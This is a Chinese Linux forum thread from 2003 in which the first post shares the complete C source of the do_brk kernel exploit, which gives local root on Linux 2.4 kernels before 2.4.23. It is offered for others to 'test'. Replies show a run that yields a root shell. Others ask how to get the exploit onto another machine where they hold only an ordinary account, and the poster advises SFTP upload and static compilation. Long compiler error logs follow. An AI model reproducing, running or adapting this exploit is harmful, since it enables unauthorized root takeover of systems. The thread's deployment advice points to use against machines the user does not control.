LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1807|回复: 8

Linux Kernel 2.4.x do_brk exploit

[复制链接]
发表于 2003-12-24 11:10:59 | 显示全部楼层 |阅读模式
linux 2.4.23内核以下的都可以本地获得root权限

我测试已经通过了

前段时间有朋友问我要这个~~~拿出来大家测试一下吧:)

这两天有点冷,活跃一下……



  1. /*
  2. * hatorihanzo.c
  3. * Linux kernel do_brk vma overflow exploit.
  4. *
  5. * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>
  6. *
  7. * Further research and exploit development by
  8. * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.
  9. *
  10. * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
  11. *
  12. * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
  13. * OF PRESENTED CODE IS STRICTLY PROHIBITED.
  14. */

  15. #define _GNU_SOURCE
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <errno.h>
  19. #include <string.h>
  20. #include <unistd.h>
  21. #include <fcntl.h>
  22. #include <signal.h>
  23. #include <paths.h>
  24. #include <grp.h>
  25. #include <setjmp.h>
  26. #include <stdint.h>
  27. #include <sys/mman.h>
  28. #include <sys/ipc.h>
  29. #include <sys/shm.h>
  30. #include <sys/ucontext.h>
  31. #include <sys/wait.h>
  32. #include <asm/ldt.h>
  33. #include <asm/page.h>
  34. #include <asm/segment.h>
  35. #include <linux/unistd.h>
  36. #include <linux/linkage.h>
  37. #define kB * 1024
  38. #define MB * 1024 kB
  39. #define GB * 1024 MB
  40. #define MAGIC 0xdefaced /* I should've patented this number -cliph */
  41. #define ENTRY_MAGIC 0
  42. #define ENTRY_GATE 2
  43. #define ENTRY_CS 4
  44. #define ENTRY_DS 6
  45. #define CS ((ENTRY_CS << 2) | 4)
  46. #define DS ((ENTRY_DS << 2) | 4)
  47. #define GATE ((ENTRY_GATE << 2) | 4 | 3)
  48. #define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)
  49. #define TOP_ADDR 0xFFFFE000U
  50. /* configuration */
  51. unsigned task_size;
  52. unsigned page;
  53. uid_t uid;
  54. unsigned address;
  55. int dontexit = 0;
  56. void fatal(char * msg)
  57. {
  58. fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));
  59. if (dontexit) {
  60. fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");
  61. kill(getpid(), SIGSTOP);
  62. for (;;) pause();
  63. }
  64. exit(EXIT_FAILURE);
  65. }
  66. void configure(void)
  67. {
  68. unsigned val;
  69. task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
  70. uid = getuid();
  71. }
  72. void expand(void)
  73. {
  74. unsigned top = (unsigned) sbrk(0);
  75. unsigned limit = address + PAGE_SIZE;
  76. do {
  77. if (sbrk(PAGE_SIZE) == NULL)
  78. fatal("Kernel seems not to be vulnerable");
  79. dontexit = 1;
  80. top += PAGE_SIZE;
  81. } while (top < limit);
  82. }
  83. jmp_buf jmp;
  84. #define MAP_NOPAGE 1
  85. #define MAP_ISPAGE 2
  86. void sigsegv(int signo, siginfo_t * si, void * ptr)
  87. {
  88. struct ucontext * uc = (struct ucontext *) ptr;
  89. int error_code = uc->uc_mcontext.gregs[REG_ERR];
  90. (void)signo;
  91. (void)si;
  92. error_code = MAP_NOPAGE + (error_code & 1);
  93. longjmp(jmp, error_code);
  94. }
  95. void prepare(void)
  96. {
  97. struct sigaction sa;
  98. sa.sa_sigaction = sigsegv;
  99. sa.sa_flags = SA_SIGINFO | SA_NOMASK;
  100. sigemptyset(&sa.sa_mask);
  101. sigaction(SIGSEGV, &sa, NULL);
  102. }
  103. int testaddr(unsigned addr)
  104. {
  105. int val;
  106. val = setjmp(jmp);
  107. if (val == 0) {
  108. asm ("verr (%%eax)" : : "a" (addr));
  109. return MAP_ISPAGE;
  110. }
  111. return val;
  112. }
  113. #define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
  114. #define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
  115. #define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
  116. void map(unsigned * map)
  117. {
  118. unsigned addr = task_size;
  119. unsigned bit = 1;
  120. prepare();
  121. while (addr < TOP_ADDR) {
  122. if (testaddr(addr) == MAP_ISPAGE)
  123. *map |= bit;
  124. addr += PAGE_SIZE;
  125. next(map, bit);
  126. }
  127. signal(SIGSEGV, SIG_DFL);
  128. }
  129. void find(unsigned * m)
  130. {
  131. unsigned addr = task_size;
  132. unsigned bit = 1;
  133. unsigned count;
  134. unsigned tmp;
  135. prepare();
  136. tmp = address = count = 0U;
  137. while (addr < TOP_ADDR) {
  138. int val = testaddr(addr);
  139. if (val == MAP_ISPAGE && (*m & bit) == 0) {
  140. if (!tmp) tmp = addr;
  141. count++;
  142. } else {
  143. if (tmp && count == LDT_PAGES) {
  144. errno = EAGAIN;
  145. if (address)
  146. fatal("double allocation\n");
  147. address = tmp;
  148. }
  149. tmp = count = 0U;
  150. }
  151. addr += PAGE_SIZE;
  152. next(m, bit);
  153. }
  154. signal(SIGSEGV, SIG_DFL);
  155. if (address)
  156. return;
  157. errno = ENOTSUP;
  158. fatal("Unable to determine kernel address");
  159. }
  160. int modify_ldt(int, void *, unsigned);
  161. void ldt(unsigned * m)
  162. {
  163. struct modify_ldt_ldt_s l;
  164. map(m);
  165. memset(&l, 0, sizeof(l));
  166. l.entry_number = LDT_ENTRIES - 1;
  167. l.seg_32bit = 1;
  168. l.base_addr = MAGIC >> 16;
  169. l.limit = MAGIC & 0xffff;
  170. if (modify_ldt(1, &l, sizeof(l)) == -1)
  171. fatal("Unable to set up LDT");
  172. l.entry_number = ENTRY_MAGIC / 2;
  173. if (modify_ldt(1, &l, sizeof(l)) == -1)
  174. fatal("Unable to set up LDT");
  175. find(m);
  176. }
  177. asmlinkage void kernel(unsigned * task)
  178. {
  179. unsigned * addr = task;
  180. /* looking for uids */
  181. while (addr[0] != uid || addr[1] != uid ||
  182. addr[2] != uid || addr[3] != uid)
  183. addr++;
  184. addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
  185. addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
  186. addr[8] = 0;
  187. /* looking for vma */
  188. for (addr = (unsigned *) task_size; addr; addr++) {
  189. if (addr[0] >= task_size && addr[1] < task_size &&
  190. addr[2] == address && addr[3] >= task_size) {
  191. addr[2] = task_size - PAGE_SIZE;
  192. addr = (unsigned *) addr[3];
  193. addr[1] = task_size - PAGE_SIZE;
  194. addr[2] = task_size;
  195. break;
  196. }
  197. }
  198. }
  199. void kcode(void);
  200. #define __str(s) #s
  201. #define str(s) __str(s)
  202. void __kcode(void)
  203. {
  204. asm(
  205. "kcode: \n"
  206. " pusha \n"
  207. " pushl %es \n"
  208. " pushl %ds \n"
  209. " movl $(" str(DS) ") ,%edx \n"
  210. " movl %edx,%es \n"
  211. " movl %edx,%ds \n"
  212. " movl $0xffffe000,%eax \n"
  213. " andl %esp,%eax \n"
  214. " pushl %eax \n"
  215. " call kernel \n"
  216. " addl $4, %esp \n"
  217. " popl %ds \n"
  218. " popl %es \n"
  219. " popa \n"
  220. " lret \n"
  221. );
  222. }
  223. void knockout(void)
  224. {
  225. unsigned * addr = (unsigned *) address;
  226. if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
  227. fatal("Unable to change page protection");
  228. errno = ESRCH;
  229. if (addr[ENTRY_MAGIC] != MAGIC)
  230. fatal("Invalid LDT entry");
  231. /* setting call gate and privileged descriptors */
  232. addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);
  233. addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  234. addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */
  235. addr[ENTRY_CS+1] = 0x00cf9a00U;
  236. addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */
  237. addr[ENTRY_DS+1] = 0x00cf9200U;
  238. prepare();
  239. if (setjmp(jmp) != 0) {
  240. errno = ENOEXEC;
  241. fatal("Unable to jump to call gate");
  242. }
  243. asm("lcall $" str(GATE) ",$0x0"); /* this is it */
  244. }
  245. void shell(void)
  246. {
  247. char * argv[] = { _PATH_BSHELL, NULL };
  248. execve(_PATH_BSHELL, argv, environ);
  249. fatal("Unable to spawn shell\n");
  250. }
  251. void remap(void)
  252. {
  253. static char stack[8 MB]; /* new stack */
  254. static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };
  255. static unsigned * m;
  256. static unsigned b;
  257. m = (unsigned *) sbrk(map_size);
  258. if (!m)
  259. fatal("Unable to allocate memory");
  260. environ = envp;
  261. asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));
  262. b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
  263. if (munmap((void*)b, task_size - b) == -1)
  264. fatal("Unable to unmap stack");
  265. while (b < task_size) {
  266. if (sbrk(PAGE_SIZE) == NULL)
  267. fatal("Unable to expand BSS");
  268. b += PAGE_SIZE;
  269. }
  270. ldt(m);
  271. expand();
  272. knockout();
  273. shell();
  274. }
  275. int main(void)
  276. {
  277. configure();
  278. remap();
  279. return EXIT_FAILURE;
  280. }
复制代码
 楼主| 发表于 2003-12-24 11:13:14 | 显示全部楼层
2.2的无效
发表于 2003-12-24 13:29:02 | 显示全部楼层
http://211.93.98.22/bbs/showthread.php?s=&threadid=77741

前阵子我发了,在你主页上拿来的!
 楼主| 发表于 2003-12-25 13:52:29 | 显示全部楼层
perlish@Woody:~$ uname -a
Linux Woody 2.4.22 #1 SMP Tue Dec 2 02:24:26 CST 2003 i686 unknown
perlish@Woody:~$ id
uid=1000(perlish) gid=1000(perlish) groups=1000(perlish)
perlish@Woody:~$ ls
do_brk do_brk.c
perlish@Woody:~$ ./do_brk
sh-2.05a# id
uid=0(root) gid=0(root)

帖代码记得不要使用表情符号哦
发表于 2003-12-25 14:03:50 | 显示全部楼层
对方没gcc怎办 ?是这样的

我是内部,对方我有个普通用户,可对方没开ftp,只有个http,ssh,可不能写入,也就是说没办法将代码弄到对方去!!

用scp的话,scp do_break.c  ip:/home/自己的目录
出现的却是要我root密码,普通用户如何用scp传东西到自己家目录?

后来我在对方用vi,然后把我机器的代码复制过去,却发现没有gcc,

如果我将这代码变成可执行程序的话,不知道怎么传过去 ??
 楼主| 发表于 2003-12-25 17:57:31 | 显示全部楼层
有个普通用户就够了

随便找个sftp的client都可以复制过去啊
winscp就可以

没gcc的话你就在你的机器上静态编译就是了
发表于 2003-12-26 21:25:02 | 显示全部楼层
没有改动过代码,在一台as3上运行是这样!

gcc -o jj dodo.c
dodo.c:1: syntax error before '.' token
dodo.c:3: syntax error at '@' token
dodo.c:5: syntax error at '@' token
In file included from /usr/include/_G_config.h:44,
                 from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/gconv.h:72: syntax error before "size_t"
/usr/include/gconv.h:88: syntax error before "size_t"
/usr/include/gconv.h:97: syntax error before "size_t"
/usr/include/gconv.h:174: syntax error before "size_t"
/usr/include/gconv.h:177: syntax error before '}' token
In file included from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/_G_config.h:47: field `__cd' has incomplete type
/usr/include/_G_config.h:50: field `__cd' has incomplete type
In file included from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/libio.h:351: syntax error before "size_t"
/usr/include/libio.h:360: syntax error before "size_t"
/usr/include/libio.h:468: syntax error before "_IO_sgetn"
/usr/include/libio.h:468: syntax error before "size_t"
In file included from dodo.c:23:
/usr/include/stdio.h:286: syntax error before "size_t"
/usr/include/stdio.h:292: syntax error before "size_t"
/usr/include/stdio.h:304: syntax error before "size_t"
/usr/include/stdio.h:311: syntax error before "size_t"
/usr/include/stdio.h:353: syntax error before "size_t"
/usr/include/stdio.h:357: syntax error before "size_t"
/usr/include/stdio.h:562: syntax error before "size_t"
/usr/include/stdio.h:565: syntax error before "size_t"
/usr/include/stdio.h:575: syntax error before "size_t"
/usr/include/stdio.h:605: syntax error before "fread"
/usr/include/stdio.h:605: syntax error before "size_t"
/usr/include/stdio.h:611: syntax error before "fwrite"
/usr/include/stdio.h:611: syntax error before "size_t"
/usr/include/stdio.h:633: syntax error before "fread_unlocked"
/usr/include/stdio.h:633: syntax error before "size_t"
/usr/include/stdio.h:635: syntax error before "fwrite_unlocked"
/usr/include/stdio.h:635: syntax error before "size_t"
In file included from dodo.c:24:
/usr/include/stdlib.h:137: syntax error before "__ctype_get_mb_cur_max"
In file included from /usr/include/sys/types.h:266,
                 from /usr/include/stdlib.h:416,
                 from dodo.c:24:
/usr/include/bits/pthreadtypes.h:48: syntax error before "size_t"
/usr/include/bits/pthreadtypes.h:51: syntax error before "__stacksize"
In file included from dodo.c:24:
/usr/include/stdlib.h:433: syntax error before "size_t"
/usr/include/stdlib.h:462: syntax error before "size_t"
/usr/include/stdlib.h:556: syntax error before "__size"
/usr/include/stdlib.h:558: syntax error before "__nmemb"
/usr/include/stdlib.h:567: syntax error before "size_t"
In file included from /usr/include/stdlib.h:578,
                 from dodo.c:24:
/usr/include/alloca.h:33: syntax error before "__size"
In file included from dodo.c:24:
/usr/include/stdlib.h:583: syntax error before "__size"
/usr/include/stdlib.h:588: syntax error before "size_t"
/usr/include/stdlib.h:739: syntax error before "size_t"
/usr/include/stdlib.h:743: syntax error before "size_t"
/usr/include/stdlib.h:812: syntax error before "size_t"
/usr/include/stdlib.h:815: syntax error before "size_t"
/usr/include/stdlib.h:819: syntax error before "size_t"
/usr/include/stdlib.h:822: syntax error before "size_t"
/usr/include/stdlib.h:830: syntax error before "size_t"
/usr/include/stdlib.h:834: syntax error before "size_t"
/usr/include/stdlib.h:841: syntax error before "mbstowcs"
/usr/include/stdlib.h:842: syntax error before "size_t"
/usr/include/stdlib.h:844: syntax error before "wcstombs"
/usr/include/stdlib.h:845: syntax error before "size_t"
/usr/include/stdlib.h:906: syntax error before "size_t"
In file included from dodo.c:26:
/usr/include/string.h:39: syntax error before "size_t"
/usr/include/string.h:42: syntax error before "size_t"
/usr/include/string.h:51: syntax error before "size_t"
/usr/include/string.h:58: syntax error before "size_t"
/usr/include/string.h:61: syntax error before "size_t"
/usr/include/string.h:65: syntax error before "size_t"
/usr/include/string.h:75: syntax error before "size_t"
/usr/include/string.h:86: syntax error before "size_t"
/usr/include/string.h:93: syntax error before "size_t"
/usr/include/string.h:99: syntax error before "size_t"
/usr/include/string.h:106: syntax error before "strxfrm"
/usr/include/string.h:107: syntax error before "size_t"
/usr/include/string.h:120: syntax error before "strxfrm_l"
/usr/include/string.h:120: syntax error before "size_t"
/usr/include/string.h:133: syntax error before "size_t"
/usr/include/string.h:176: syntax error before "strcspn"
/usr/include/string.h:180: syntax error before "strspn"
/usr/include/string.h:215: syntax error before "size_t"
/usr/include/string.h:222: syntax error before "size_t"
/usr/include/string.h:224: syntax error before "size_t"
/usr/include/string.h:230: syntax error before "strlen"
/usr/include/string.h:236: syntax error before "strnlen"
/usr/include/string.h:236: syntax error before "size_t"
/usr/include/string.h:248: syntax error before "size_t"
/usr/include/string.h:253: syntax error before "size_t"
/usr/include/string.h:257: syntax error before "size_t"
/usr/include/string.h:260: syntax error before "size_t"
/usr/include/string.h:263: syntax error before "size_t"
/usr/include/string.h:291: syntax error before "size_t"
/usr/include/string.h:302: syntax error before "size_t"
/usr/include/string.h:330: syntax error before "size_t"
/usr/include/string.h:332: syntax error before "size_t"
/usr/include/string.h:338: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:312: syntax error before "size_t"
/usr/include/unistd.h:318: syntax error before "size_t"
/usr/include/unistd.h:328: syntax error before "size_t"
/usr/include/unistd.h:336: syntax error before "size_t"
/usr/include/unistd.h:356: syntax error before "size_t"
/usr/include/unistd.h:360: syntax error before "size_t"
/usr/include/unistd.h:448: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:538: syntax error before "confstr"
/usr/include/unistd.h:538: syntax error before "size_t"
/usr/include/unistd.h:707: syntax error before "size_t"
/usr/include/unistd.h:732: syntax error before "size_t"
/usr/include/unistd.h:761: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:783: syntax error before "size_t"
/usr/include/unistd.h:790: syntax error before "size_t"
/usr/include/unistd.h:800: syntax error before "size_t"
/usr/include/unistd.h:801: syntax error before "size_t"
/usr/include/unistd.h:818: syntax error before "size_t"
In file included from /usr/include/signal.h:341,
                 from dodo.c:29:
/usr/include/bits/sigstack.h:54: syntax error before "size_t"
In file included from /usr/include/signal.h:344,
                 from dodo.c:29:
/usr/include/sys/ucontext.h:123: syntax error before "stack_t"
/usr/include/sys/ucontext.h:127: syntax error before '}' token
In file included from dodo.c:31:
/usr/include/grp.h:134: syntax error before "size_t"
/usr/include/grp.h:143: syntax error before "size_t"
/usr/include/grp.h:152: syntax error before "size_t"
/usr/include/grp.h:165: syntax error before "size_t"
In file included from dodo.c:31:
/usr/include/grp.h:178: syntax error before "__n"
In file included from dodo.c:34:
/usr/include/sys/mman.h:58: syntax error before "size_t"
/usr/include/sys/mman.h:71: syntax error before "size_t"
/usr/include/sys/mman.h:77: syntax error before "size_t"
/usr/include/sys/mman.h:82: syntax error before "size_t"
/usr/include/sys/mman.h:90: syntax error before "size_t"
/usr/include/sys/mman.h:95: syntax error before "size_t"
/usr/include/sys/mman.h:99: syntax error before "size_t"
/usr/include/sys/mman.h:104: syntax error before "size_t"
/usr/include/sys/mman.h:107: syntax error before "size_t"
/usr/include/sys/mman.h:122: syntax error before "size_t"
/usr/include/sys/mman.h:130: syntax error before "size_t"
/usr/include/sys/mman.h:135: syntax error before "size_t"
In file included from /usr/include/sys/shm.h:31,
                 from dodo.c:36:
/usr/include/bits/shm.h:50: syntax error before "size_t"
/usr/include/bits/shm.h:62: syntax error before '}' token
In file included from dodo.c:36:
/usr/include/sys/shm.h:54: syntax error before "size_t"
dodo.c: In function `sigsegv':
dodo.c:96: dereferencing pointer to incomplete type
dodo.c: At top level:
/usr/include/gconv.h:176: warning: array `__data' assumed to have one element

不懂,怎么解决呀??
发表于 2003-12-26 21:33:50 | 显示全部楼层
通过编译了,

./do_brk
Segmentation fault

出现这样,什么都没有,

uname -a 是2.4.21-4,

怎么回事呢 ???
发表于 2008-3-26 22:09:09 | 显示全部楼层
Post by Snoopy;460740
没有改动过代码,在一台as3上运行是这样!

gcc -o jj dodo.c
dodo.c:1: syntax error before '.' token
dodo.c:3: syntax error at '@' token
dodo.c:5: syntax error at '@' token
In file included from /usr/include/_G_config.h:44,
                 from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/gconv.h:72: syntax error before "size_t"
/usr/include/gconv.h:88: syntax error before "size_t"
/usr/include/gconv.h:97: syntax error before "size_t"
/usr/include/gconv.h:174: syntax error before "size_t"
/usr/include/gconv.h:177: syntax error before '}' token
In file included from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/_G_config.h:47: field `__cd' has incomplete type
/usr/include/_G_config.h:50: field `__cd' has incomplete type
In file included from /usr/include/stdio.h:72,
                 from dodo.c:23:
/usr/include/libio.h:351: syntax error before "size_t"
/usr/include/libio.h:360: syntax error before "size_t"
/usr/include/libio.h:468: syntax error before "_IO_sgetn"
/usr/include/libio.h:468: syntax error before "size_t"
In file included from dodo.c:23:
/usr/include/stdio.h:286: syntax error before "size_t"
/usr/include/stdio.h:292: syntax error before "size_t"
/usr/include/stdio.h:304: syntax error before "size_t"
/usr/include/stdio.h:311: syntax error before "size_t"
/usr/include/stdio.h:353: syntax error before "size_t"
/usr/include/stdio.h:357: syntax error before "size_t"
/usr/include/stdio.h:562: syntax error before "size_t"
/usr/include/stdio.h:565: syntax error before "size_t"
/usr/include/stdio.h:575: syntax error before "size_t"
/usr/include/stdio.h:605: syntax error before "fread"
/usr/include/stdio.h:605: syntax error before "size_t"
/usr/include/stdio.h:611: syntax error before "fwrite"
/usr/include/stdio.h:611: syntax error before "size_t"
/usr/include/stdio.h:633: syntax error before "fread_unlocked"
/usr/include/stdio.h:633: syntax error before "size_t"
/usr/include/stdio.h:635: syntax error before "fwrite_unlocked"
/usr/include/stdio.h:635: syntax error before "size_t"
In file included from dodo.c:24:
/usr/include/stdlib.h:137: syntax error before "__ctype_get_mb_cur_max"
In file included from /usr/include/sys/types.h:266,
                 from /usr/include/stdlib.h:416,
                 from dodo.c:24:
/usr/include/bits/pthreadtypes.h:48: syntax error before "size_t"
/usr/include/bits/pthreadtypes.h:51: syntax error before "__stacksize"
In file included from dodo.c:24:
/usr/include/stdlib.h:433: syntax error before "size_t"
/usr/include/stdlib.h:462: syntax error before "size_t"
/usr/include/stdlib.h:556: syntax error before "__size"
/usr/include/stdlib.h:558: syntax error before "__nmemb"
/usr/include/stdlib.h:567: syntax error before "size_t"
In file included from /usr/include/stdlib.h:578,
                 from dodo.c:24:
/usr/include/alloca.h:33: syntax error before "__size"
In file included from dodo.c:24:
/usr/include/stdlib.h:583: syntax error before "__size"
/usr/include/stdlib.h:588: syntax error before "size_t"
/usr/include/stdlib.h:739: syntax error before "size_t"
/usr/include/stdlib.h:743: syntax error before "size_t"
/usr/include/stdlib.h:812: syntax error before "size_t"
/usr/include/stdlib.h:815: syntax error before "size_t"
/usr/include/stdlib.h:819: syntax error before "size_t"
/usr/include/stdlib.h:822: syntax error before "size_t"
/usr/include/stdlib.h:830: syntax error before "size_t"
/usr/include/stdlib.h:834: syntax error before "size_t"
/usr/include/stdlib.h:841: syntax error before "mbstowcs"
/usr/include/stdlib.h:842: syntax error before "size_t"
/usr/include/stdlib.h:844: syntax error before "wcstombs"
/usr/include/stdlib.h:845: syntax error before "size_t"
/usr/include/stdlib.h:906: syntax error before "size_t"
In file included from dodo.c:26:
/usr/include/string.h:39: syntax error before "size_t"
/usr/include/string.h:42: syntax error before "size_t"
/usr/include/string.h:51: syntax error before "size_t"
/usr/include/string.h:58: syntax error before "size_t"
/usr/include/string.h:61: syntax error before "size_t"
/usr/include/string.h:65: syntax error before "size_t"
/usr/include/string.h:75: syntax error before "size_t"
/usr/include/string.h:86: syntax error before "size_t"
/usr/include/string.h:93: syntax error before "size_t"
/usr/include/string.h:99: syntax error before "size_t"
/usr/include/string.h:106: syntax error before "strxfrm"
/usr/include/string.h:107: syntax error before "size_t"
/usr/include/string.h:120: syntax error before "strxfrm_l"
/usr/include/string.h:120: syntax error before "size_t"
/usr/include/string.h:133: syntax error before "size_t"
/usr/include/string.h:176: syntax error before "strcspn"
/usr/include/string.h:180: syntax error before "strspn"
/usr/include/string.h:215: syntax error before "size_t"
/usr/include/string.h:222: syntax error before "size_t"
/usr/include/string.h:224: syntax error before "size_t"
/usr/include/string.h:230: syntax error before "strlen"
/usr/include/string.h:236: syntax error before "strnlen"
/usr/include/string.h:236: syntax error before "size_t"
/usr/include/string.h:248: syntax error before "size_t"
/usr/include/string.h:253: syntax error before "size_t"
/usr/include/string.h:257: syntax error before "size_t"
/usr/include/string.h:260: syntax error before "size_t"
/usr/include/string.h:263: syntax error before "size_t"
/usr/include/string.h:291: syntax error before "size_t"
/usr/include/string.h:302: syntax error before "size_t"
/usr/include/string.h:330: syntax error before "size_t"
/usr/include/string.h:332: syntax error before "size_t"
/usr/include/string.h:338: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:312: syntax error before "size_t"
/usr/include/unistd.h:318: syntax error before "size_t"
/usr/include/unistd.h:328: syntax error before "size_t"
/usr/include/unistd.h:336: syntax error before "size_t"
/usr/include/unistd.h:356: syntax error before "size_t"
/usr/include/unistd.h:360: syntax error before "size_t"
/usr/include/unistd.h:448: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:538: syntax error before "confstr"
/usr/include/unistd.h:538: syntax error before "size_t"
/usr/include/unistd.h:707: syntax error before "size_t"
/usr/include/unistd.h:732: syntax error before "size_t"
/usr/include/unistd.h:761: syntax error before "size_t"
In file included from dodo.c:27:
/usr/include/unistd.h:783: syntax error before "size_t"
/usr/include/unistd.h:790: syntax error before "size_t"
/usr/include/unistd.h:800: syntax error before "size_t"
/usr/include/unistd.h:801: syntax error before "size_t"
/usr/include/unistd.h:818: syntax error before "size_t"
In file included from /usr/include/signal.h:341,
                 from dodo.c:29:
/usr/include/bits/sigstack.h:54: syntax error before "size_t"
In file included from /usr/include/signal.h:344,
                 from dodo.c:29:
/usr/include/sys/ucontext.h:123: syntax error before "stack_t"
/usr/include/sys/ucontext.h:127: syntax error before '}' token
In file included from dodo.c:31:
/usr/include/grp.h:134: syntax error before "size_t"
/usr/include/grp.h:143: syntax error before "size_t"
/usr/include/grp.h:152: syntax error before "size_t"
/usr/include/grp.h:165: syntax error before "size_t"
In file included from dodo.c:31:
/usr/include/grp.h:178: syntax error before "__n"
In file included from dodo.c:34:
/usr/include/sys/mman.h:58: syntax error before "size_t"
/usr/include/sys/mman.h:71: syntax error before "size_t"
/usr/include/sys/mman.h:77: syntax error before "size_t"
/usr/include/sys/mman.h:82: syntax error before "size_t"
/usr/include/sys/mman.h:90: syntax error before "size_t"
/usr/include/sys/mman.h:95: syntax error before "size_t"
/usr/include/sys/mman.h:99: syntax error before "size_t"
/usr/include/sys/mman.h:104: syntax error before "size_t"
/usr/include/sys/mman.h:107: syntax error before "size_t"
/usr/include/sys/mman.h:122: syntax error before "size_t"
/usr/include/sys/mman.h:130: syntax error before "size_t"
/usr/include/sys/mman.h:135: syntax error before "size_t"
In file included from /usr/include/sys/shm.h:31,
                 from dodo.c:36:
/usr/include/bits/shm.h:50: syntax error before "size_t"
/usr/include/bits/shm.h:62: syntax error before '}' token
In file included from dodo.c:36:
/usr/include/sys/shm.h:54: syntax error before "size_t"
dodo.c: In function `sigsegv':
dodo.c:96: dereferencing pointer to incomplete type
dodo.c: At top level:
/usr/include/gconv.h:176: warning: array `__data' assumed to have one element

不懂,怎么解决呀??


我也是这样,希望高手帮忙啊。。。。。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表